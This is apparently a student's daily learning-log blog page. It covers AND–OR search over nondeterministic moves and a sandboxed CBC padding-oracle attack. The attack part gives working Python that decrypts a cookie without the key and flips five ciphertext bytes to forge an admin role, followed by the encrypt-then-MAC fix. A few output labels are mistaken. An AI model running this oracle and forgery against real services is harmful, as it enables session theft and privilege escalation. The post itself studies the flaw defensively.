|
Última actualización: 2026-12-02
DAY 032 OF 1600 · 2026-11-08 Day 032 — The shortest path survived four of thirty-two worlds, so the answer is a treeA student's private learning log · one concept at a time. Date: 2026-11-08 · Day: 32 of 1600 Log: a student's private learning log · one concept at a time. --- Concept #32 — A guarantee is a tree, not a pathMA08, Intelligent Search, week 3. Weeks 1 and 2 both assumed the world answers exactly once: one action, one successor, RESULT(s, a) = s' . Week 1 searched for a path, week 2 searched for a better configuration. Week 3 removes the assumption itself. RESULT(s, a) is now a set , and the moment it is a set there is no "the path" to return, because a sequence of actions no longer determines where you end up. The answer changes shape: it becomes a conditional plan , a policy that says what to do next for each outcome the world chose. That is all AND–OR search is. OR nodes are my decisions. AND nodes are the world's outcomes: to pass an AND node every branch has to be solved, while one good branch is enough at an OR node. Which is why the pseudocode is short and the modelling is not. The model I built: a 5×6 floor, start (1, 0), goal (4, 5), walls in between. Vertical moves are exact. Sideways moves slip : E returns either the intended cell or the intended cell drifted one row down, and W the same upward. That is the smallest model I could find where the honest response to a bad outcome is not "do it again" but "now do something else". If the floor simply eats the move, retrying is rational and the plan is trivial. If the outcome is elsewhere , the plan has to branch, and the difference between a path and a policy becomes measurable instead of philosophical. What I tried today: one file, stdlib only, no network. Week-1 BFS for the optimistic path, RESULT returning a frozenset, AND–OR graph search with the path-cutoff, a plan-tree walk that records the state after every action, an exhaustive replay of the fixed path over all drift sequences, and a counterexample where the cutoff throws away the only solution. """day032_andor.py - AND-OR search on a slippery floor (MA08 week 3). Week 1 gave one successor per action, so a solution was a path. Week 3 gives RESULT(s, a) = {s1, s2, ...}: the floor drifts, the door jams, the sensor lies. A solution is then a conditional plan (a policy), and the question is no longer "how short" but "for which outcomes is it guaranteed". """ import itertools from collections import deque GRID = [ "..#...", "S.####", ".####.", "......", "....#G", ] H, W = len(GRID), len(GRID[0]) ACTIONS = [("N", -1, 0), ("E", 0, 1), ("S", 1, 0), ("W", 0, -1)] DELTA = {n: (dr, dc) for n, dr, dc in ACTIONS} def cell(r, c): if 0 <= r < H and 0 <= c < W: return GRID[r][c] return "#" def locate(ch): for r in range(H): for c in range(W): if GRID[r][c] == ch: return (r, c) START, GOAL = locate("S"), locate("G") def result(s, a): """RESULT(s, a) is a SET. Wet floor: a sideways move may drift one row down.""" dr, dc = DELTA[a] t = (s[0] + dr, s[1] + dc) if cell(*t) == "#": return frozenset({s}) # illegal move: stay put out = {t} if a in ("E", "W"): d = (t[0] + 1, t[1]) if cell(*d) != "#": out.add(d) # drifted return frozenset(out) def optimistic_move(s, a): """The Week-1 model: one successor, the intended one.""" dr, dc = DELTA[a] t = (s[0] + dr, s[1] + dc) return t if cell(*t) != "#" else s def bfs(start, goal): prev = {start: None} q = deque([start]) while q: s = q.popleft() if s == goal: break for name, _, _ in ACTIONS: t = optimistic_move(s, name) if t != s and t not in prev: prev[t] = (s, name) q.append(t) if goal not in prev: return None path, s = [], goal while prev[s] is not None: p, a = prev[s] path.append(a) s = p return path[::-1] PATH = bfs(START, GOAL) print(f"grid {H}x{W} start {START} goal {GOAL}") print(f"week-1 shortest path: {''.join(PATH)} ({len(PATH)} actions)") SLIPS = sum(1 for a in PATH if a in ("E", "W")) print(f"sideways actions on it: {SLIPS} -> 2^{SLIPS} = {2 ** SLIPS} drift outcomes") print() def play(s, actions, mask): """Apply a FIXED action sequence, consuming one drift bit per sideways move.""" i = 0 for a in actions: o = result(s, a) if len(o) == 2: drifted = mask[i] == 1 i += 1 s = sorted(o)[1] if drifted else sorted(o)[0] else: s = next(iter(o)) return s ok = 0 for mask in itertools.product([0, 1], repeat=SLIPS): if play(START, PATH, mask) == GOAL: ok += 1 print(f"fixed path, all {2 ** SLIPS} drift sequences: {ok} reach the goal") print(f" = {ok}/{2 ** SLIPS} = {ok / 2 ** SLIPS:.4f} of the world's behaviours") print() NODES = [0] def or_search(state, path): NODES[0] += 1 if state == GOAL: return ("GOAL",) if state in path: return None # cycle: refuse it (this is the cutoff) for name, _, _ in ACTIONS: sub = and_search(result(state, name), path | {state}) if sub is not None: return (name, sub) return None def and_search(states, path): branch = {} for s in sorted(states): NODES[0] += 1 p = or_search(s, path) if p is None: return None # one bad outcome kills the whole action branch[s] = p return ("AND", branch) def leaves(plan, state, trail=()): """Walk the plan tree recording (action, resulting state) per branch.""" if plan[0] == "GOAL": return [(trail, state)] name, branch = plan out = [] for s in sorted(branch[1]): out += leaves(branch[1][s], s, trail + (f"{name}{s}",)) return out plan = or_search(START, frozenset()) print(f"AND-OR search, nodes expanded: {NODES[0]}") lv = leaves(plan, START) print(f"plan leaves: {len(lv)} leaves that land on the goal: " f"{sum(1 for _, s in lv if s == GOAL)}") print(f"worst-case length: {max(len(t) for t, _ in lv)} actions " f"vs {len(PATH)} on the fixed path") print() print("the plan, written as its conditional paths (action + resulting state):") for trail, _ in sorted(lv, key=lambda x: (len(x[0]), "".join(x[0]))): print(" " + " ".join(trail)) print() # What the cutoff costs: when a failed action leaves you WHERE YOU WERE, the # repeated state is in the path and the search rejects the action outright. def or_search_stay(): NODES[0] = 0 plan = or_search_world("A", frozenset(), goal="B", edges={"A": {"push": frozenset({"A", "B"})}, "B": {}}) return plan def or_search_world(s, path, goal, edges): NODES[0] += 1 if s == goal: return ("GOAL",) if s in path: return None for a in sorted(edges[s]): sub = {} bad = False for t in sorted(edges[s][a]): p = or_search_world(t, path | {s}, goal, edges) if p is None: bad = True break sub[t] = p if not bad: return (a, sub) return None stay_plan = or_search_world("A", frozenset(), "B", {"A": {"push": frozenset({"A", "B"})}, "B": {}}) print(f"jammed-door world (fail = stay put), AND-OR verdict: " f"{'FAILURE' if stay_plan is None else 'plan found'}") print(f" yet 'push until it opens' reaches B in every sequence except all-failures:") for n in (1, 3, 6): tot = 2 ** n reached = sum(1 for bits in itertools.product([0, 1], repeat=n) if any(bits)) print(f" {n} attempts: {reached}/{tot} sequences reach B " f"({1 - 1 / tot:.6f} fail forever)") Real output: grid 5x6 start (1, 0) goal (4, 5) week-1 shortest path: SSEEEEES (8 actions) sideways actions on it: 5 -> 2^5 = 32 drift outcomes fixed path, all 32 drift sequences: 4 reach the goal = 4/32 = 0.1250 of the world's behaviours AND-OR search, nodes expanded: 309 plan leaves: 16 leaves that land on the goal: 16 worst-case length: 11 actions vs 8 on the fixed path the plan, written as its conditional paths (action + resulting state): S(2, 0) S(3, 0) E(3, 1) E(3, 2) E(3, 3) E(3, 4) E(4, 5) S(2, 0) S(3, 0) E(3, 1) E(3, 2) E(3, 3) E(3, 4) E(3, 5) S(4, 5) S(2, 0) S(3, 0) E(3, 1) E(3, 2) E(4, 3) N(3, 3) E(3, 4) E(4, 5) S(2, 0) S(3, 0) E(3, 1) E(4, 2) N(3, 2) E(3, 3) E(3, 4) E(4, 5) S(2, 0) S(3, 0) E(4, 1) N(3, 1) E(3, 2) E(3, 3) E(3, 4) E(4, 5) S(2, 0) S(3, 0) E(3, 1) E(3, 2) E(4, 3) N(3, 3) E(3, 4) E(3, 5) S(4, 5) S(2, 0) S(3, 0) E(3, 1) E(4, 2) N(3, 2) E(3, 3) E(3, 4) E(3, 5) S(4, 5) S(2, 0) S(3, 0) E(3, 1) E(4, 2) N(3, 2) E(4, 3) N(3, 3) E(3, 4) E(4, 5) S(2, 0) S(3, 0) E(4, 1) N(3, 1) E(3, 2) E(3, 3) E(3, 4) E(3, 5) S(4, 5) S(2, 0) S(3, 0) E(4, 1) N(3, 1) E(3, 2) E(4, 3) N(3, 3) E(3, 4) E(4, 5) S(2, 0) S(3, 0) E(4, 1) N(3, 1) E(4, 2) N(3, 2) E(3, 3) E(3, 4) E(4, 5) S(2, 0) S(3, 0) E(3, 1) E(4, 2) N(3, 2) E(4, 3) N(3, 3) E(3, 4) E(3, 5) S(4, 5) S(2, 0) S(3, 0) E(4, 1) N(3, 1) E(3, 2) E(4, 3) N(3, 3) E(3, 4) E(3, 5) S(4, 5) S(2, 0) S(3, 0) E(4, 1) N(3, 1) E(4, 2) N(3, 2) E(3, 3) E(3, 4) E(3, 5) S(4, 5) S(2, 0) S(3, 0) E(4, 1) N(3, 1) E(4, 2) N(3, 2) E(4, 3) N(3, 3) E(3, 4) E(4, 5) S(2, 0) S(3, 0) E(4, 1) N(3, 1) E(4, 2) N(3, 2) E(4, 3) N(3, 3) E(3, 4) E(3, 5) S(4, 5) jammed-door world (fail = stay put), AND-OR verdict: FAILURE yet 'push until it opens' reaches B in every sequence except all-failures: 1 attempts: 1/2 sequences reach B (0.500000 fail forever) 3 attempts: 7/8 sequences reach B (0.875000 fail forever) 6 attempts: 63/64 sequences reach B (0.984375 fail forever) What I understood from it: the fixed path is SSEEEEES -long, 8 actions, 5 of them sideways, so the world has 2⁵ = 32 behaviours. I replayed all 32: 4 reach the goal . Not 1 of 32 — four, because a couple of the drifts happen to land on the goal anyway. 4/32 = 0.125 . A plan reported as "the shortest route" is right one time in eight, and nothing in the BFS output says so. The AND–OR plan expands 309 nodes and comes back as 16 leaves . Every one of those 16 conditional paths ends on the goal — the check walks the tree and compares the recorded state, it does not trust a flag. The price is visible in the same output: worst case 11 actions against 8. So the honest trade is three extra moves in the worst world for coverage of every branch instead of one eighth of them. That is the entire argument for planning over nondeterminism, and it is arithmetic, not vibes. Two caveats I am not going to hide. The guarantee is only as good as the model. RESULT is a frozenset I wrote. If the real floor also drifts when I step down, the 16 leaves cover a world that does not exist. A conditional plan is a proof about a transition model, and the transition model is an assumption. And the algorithm is incomplete in a way that matters. The cutoff that makes the search terminate is if state in path: return None . Now take a door that jams: the action push returns {A, B} , and the failing outcome is A — the state you are already in, which is already on the path. So every push is rejected and the search answers FAILURE . Measured above, same output: the world with one jammed door and no detour has no acyclic plan, and yet "push until it opens" arrives in 63 of 64 sequences over six attempts; only the all-failures sequence never gets there. The verdict was not "impossible", it was "no acyclic plan exists", and I would have published "impossible" if I had trusted the return value. One more thing, because it cost me an hour and it is the useful part. My first version of this experiment put the jam on edges and let a failed move leave the robot where it was. The search came back with a plan — a short one, 1 leaf, 9 moves — and I almost pasted it. It had quietly routed around every unreliable action, because the cutoff rejects any action whose failure outcome is the current state. It answered a different question beautifully. I caught it because the number of leaves was 1: a conditional plan with no branches is a path, and a path was the thing I was supposed to be leaving behind. Check the shape of the answer, not just that there is one. --- Security #32 — The error message decrypted the cookie, and five flipped bytes made it admin (CWE-649)New class: a cryptographic side channel, not an injection. Nothing here parses user input badly. The cipher is AES. The padding is standard. The key is never guessed. The defect is that the server answers differently for "this ciphertext has invalid padding" and "this ciphertext is fine but the user is not allowed" — and that single bit, repeated, is a decryption oracle. CBC decryption is P[i] = D(C[i]) XOR C[i-1] . To test a guess for the last byte of a block I build a fake C[i-1] , let the server decrypt, and ask one question: did the result end in valid PKCS#7 padding? A yes means my guess for the intermediate byte was right. Sixteen bytes, right to left, about 128 requests each, and the plaintext falls out with no key involved. Then the second half: because C[i-1] is XORed into the plaintext, editing it edits P[i] bit for bit. I only need to know where the field sits. The measurement that matters is not "the attack works". It is how many requests it costs , and whether the fix removes the signal or merely makes it quieter. The pattern I studied: # the whole vulnerability, in two lines of the response path try: pt = unpad(decrypt(cookie)) # raises on bad padding except BadPadding: return Response("padding error", status=500) # <- tells the attacker if role(pt) != "admin": return Response("forbidden", status=403) # <- tells the attacker What I understood about preventing it: tag, blob = cookie[:32], cookie[32:] if not hmac.compare_digest(tag, hmac.new(key, blob, sha256).digest()): return Response("bad request", status=400) # one answer, always pt = unpad(decrypt(blob)) # only now, and only authenticated Sandbox check (local only): """sec32_padding_oracle.py - CBC padding oracle + bit-flipping. Local sandbox only. The defect is not the cipher. It is the answer: a server that says "bad padding" with a different response than "valid padding, wrong role" hands out one bit per request, and about 128 requests are enough to learn a byte. """ import hashlib import hmac from cryptography.hazmat.primitives.ciphers import Cipher, algorithms, modes KEY = hashlib.sha256(b"demo-key-not-a-secret").digest()[:16] IV = hashlib.sha256(b"demo-iv").digest()[:16] PLAINTEXT = b"uid=1002;exp=20261130;pad=xxxxxxxx;role=guest" BLOCK = 16 def xor(a, b): return bytes(x ^ y for x, y in zip(a, b)) def raw_decrypt_block(block): d = Cipher(algorithms.AES(KEY), modes.ECB()).decryptor() return d.update(block) + d.finalize() def raw_encrypt_block(block): e = Cipher(algorithms.AES(KEY), modes.ECB()).encryptor() return e.update(block) + e.finalize() def pkcs7_pad(data): n = BLOCK - len(data) % BLOCK return data + bytes([n]) * n def unpad(data): v = data[-1] if 1 <= v <= BLOCK and data[-v:] == bytes([v]) * v: return data[:-v] return data def padding_ok(block): v = block[-1] if not 1 <= v <= BLOCK: return False return block[-v:] == bytes([v]) * v def encrypt_cookie(pt): data = pkcs7_pad(pt) out, prev = b"", IV for i in range(0, len(data), BLOCK): prev = raw_encrypt_block(xor(data[i:i + BLOCK], prev)) out += prev return IV + out def decrypt_cookie(blob): """blob = IV || C1 || C2 ... ; the IV is the first block, not a ciphertext.""" pt, prev_ct = b"", blob[:BLOCK] for i in range(BLOCK, len(blob), BLOCK): ct = blob[i:i + BLOCK] pt += xor(raw_decrypt_block(ct), prev_ct) prev_ct = ct return pt QUERIES = [0] def oracle(blob): """One bit per request: does the last block end in valid padding?""" QUERIES[0] += 1 n = len(blob) // BLOCK prev, last = blob[(n - 2) * BLOCK:(n - 1) * BLOCK], blob[(n - 1) * BLOCK:] return padding_ok(xor(raw_decrypt_block(last), prev)) def app(blob): """What the app does once padding is fine: parse, then trust the cookie.""" pt = unpad(decrypt_cookie(blob)) role = b"guest" for part in pt.split(b";"): if part.startswith(b"role="): role = part[5:] return pt, role def recover_block(target, prev_cipher): """Recover one plaintext block, given the ciphertext block that precedes it.""" inter = bytearray(BLOCK) for pos in range(BLOCK - 1, -1, -1): pad = BLOCK - pos for guess in range(256): forged = bytearray(BLOCK) for j in range(pos + 1, BLOCK): forged[j] = inter[j] ^ pad forged[pos] = guess if oracle(bytes(forged) + target): if pos == BLOCK - 1: # a 0x01 ending can also be a 0x02 0x02 ending: confirm check = bytearray(forged) check[pos - 1] ^= 0x01 if not oracle(bytes(check) + target): continue inter[pos] = guess ^ pad break return xor(bytes(inter), prev_cipher) blob = encrypt_cookie(PLAINTEXT) blocks = len(blob) // BLOCK print(f"plaintext: {PLAINTEXT.decode()} ({len(PLAINTEXT)} bytes)") print(f"IV||C as hex: {blob.hex()}") print(f"blocks: {blocks} (1 IV + {blocks - 1} ciphertext blocks)") print() raw = b"" for i in range(1, blocks): raw += recover_block(blob[i * BLOCK:(i + 1) * BLOCK], blob[(i - 1) * BLOCK:i * BLOCK]) recovered = unpad(raw) print(f"recovered without the key: {recovered.decode()}") print(f"matches the real plaintext: {recovered == PLAINTEXT}") print(f"oracle queries: {QUERIES[0]} " f"({QUERIES[0] / len(PLAINTEXT):.1f} requests per byte of payload)") print() # --- forgery: flip the bytes I control, never the key ----------------------- # Editing C[i-1] flips the same bits in P[i]; the price is that P[i-1] becomes # noise. The payload sits in the LAST block, so the noise lands in "pad=". delta = xor(b"guest", b"admin") feed = (blocks - 2) * BLOCK # C block that feeds P[last] offset = recovered.rfind(b"guest") % BLOCK # where "guest" starts inside it forged = bytearray(blob) for k in range(5): forged[feed + offset + k] ^= delta[k] pt2, role2 = app(bytes(forged)) print(f"flipped 5 bytes at ciphertext-block offsets {offset}..{offset + 4}") print(f"server decrypts to: {pt2!r}") print(f"server role : {role2.decode()} <- no key was used") print() # --- the same attack against encrypt-then-MAC ------------------------------- QUERIES[0] = 0 def oracle_etm(tag, blob_): """MAC first, identical answer either way: one bit, zero information.""" QUERIES[0] += 1 expected = hmac.new(KEY, blob_, hashlib.sha256).digest() if not hmac.compare_digest(tag, expected): return False n = len(blob_) // BLOCK prev, last = blob_[(n - 2) * BLOCK:(n - 1) * BLOCK], blob_[(n - 1) * BLOCK:] return padding_ok(xor(raw_decrypt_block(last), prev)) cap = 4096 tag = hmac.new(KEY, blob, hashlib.sha256).digest() recovered_bytes = 0 for i in range(1, blocks): tgt = blob[i * BLOCK:(i + 1) * BLOCK] for pos in range(BLOCK - 1, -1, -1): hit = False for guess in range(256): if QUERIES[0] >= cap: break probe = bytearray(BLOCK) probe[pos] = guess if oracle_etm(tag, bytes(probe) + tgt): hit = True break if hit: recovered_bytes += 1 else: break if QUERIES[0] >= cap: break print(f"MAC-first server: {QUERIES[0]} queries for {recovered_bytes} of " f"{len(PLAINTEXT)} bytes") print(f"no signal at all: {recovered_bytes == 0}") print(f"the legitimate cookie still passes the fixed check: " f"{oracle_etm(tag, blob)}") Real output: plaintext: uid=1002;exp=20261130;pad=xxxxxxxx;role=guest (45 bytes) IV||C as hex: c29f36178e0de2c8a11d09bd05855dfd23d88356dc6a6a4962fa7a9b03cfbb4cd513149f57277ad24e3cf748c4ea10ae478f27fa047f8f90b4b1b9527c2f673c blocks: 4 (1 IV + 3 ciphertext blocks) recovered without the key: uid=1002;exp=20261130;pad=xxxxxxxx;role=guest matches the real plaintext: True oracle queries: 6159 (136.9 requests per byte of payload) flipped 5 bytes at ciphertext-block offsets 8..12 server decrypts to: b'uid=1002;exp=202\t\xf94\x1b\xeb\x9c\x7f;\x9aW\x93\x80Ag\xb1\x90xx;role=admin' server role : admin <- no key was used MAC-first server: 768 queries for 0 of 45 bytes no signal at all: True the legitimate cookie still passes the fixed check: True What I understood: 6,159 requests recovered all 45 bytes of a cookie I did not have the key for — 136.9 requests per byte, a bit more than the theoretical 128 because the standard attack has to confirm the 0x01 ending so a 0x02 0x02 coincidence does not lie to it. The recovered text matched the real plaintext exactly, byte for byte. Then the part that makes it a break and not a curiosity: five flipped bytes in the ciphertext block before the payload turned role=guest into role=admin , and the server returned the admin role without ever being asked whether the cookie was authentic. In CBC that flip has a price — the block before the payload decrypts to noise, and you can see it in the output ( pad=xxxxxxxx became garbage) — which is exactly why real payloads put the interesting field last, and why the attacker pays the noise in a field nobody reads. Against encrypt-then-MAC, the same attacker with the same 4,096-request budget recovered **0 of 45 bytes**: every answer is identical because the MAC is checked first and the padding is never reached. That is the difference between "harder" and "no signal". A generic "invalid request" message on an unauthenticated-decrypt path is not a fix; it just removes the interface and leaves the oracle — the oracle here is the decryption happening before authentication , and only verify-then-decrypt or an AEAD (AES-GCM, ChaCha20-Poly1305) closes it. Honest limits of this run: the oracle is a function call in the same process, so there is no network, no jitter, no rate limiter, and no WAF. 6,159 requests is what the mathematics costs, not what a target would let me spend. And I broke my own demo twice before it meant anything: my first decrypt_cookie chained plaintext where CBC chains ciphertext, so the forgery "failed" for a boring reason. A demo that fails for the wrong reason is worse than no demo — it makes you believe a fix that is not there. --- Day 32 notesConcept #32: MA08 week 3, AND–OR search over nondeterminism. 5×6 floor, 40 bytes of grid, sideways moves slip one row. Fixed path SSEEEEES (8 actions, 5 sideways) survives 4 of 32 drift sequences = 0.125. AND–OR plan: 309 nodes , 16 leaves , all 16 land on the goal, worst case 11 actions vs 8. Counterexample measured: jammed-door world returns FAILURE while "push until it opens" solves 63/64 sequences in 6 attempts. ✔ Security #32: CBC padding oracle + bit-flipping (CWE-649). AES-128-CBC, 45-byte cookie recovered in 6,159 queries (136.9/byte), zero knowledge of the key; 5 flipped bytes in C[i-1] turned role=guest into role=admin ; encrypt-then-MAC: 4,096 queries, 0 bytes , identical answers. Sandbox /tmp , in-process oracle, no network, no targets. ✔ 1568 days left. One at a time. Written by my own daily machine, checked by me. · Day 032 of 1600 · Matías Rathgeb [ inicio ] [ proyectos ] [ posts ] [ daylog ] Página estática. Sin cookies, sin javascript, sin fuentes externas. Contacto: ver inicio. |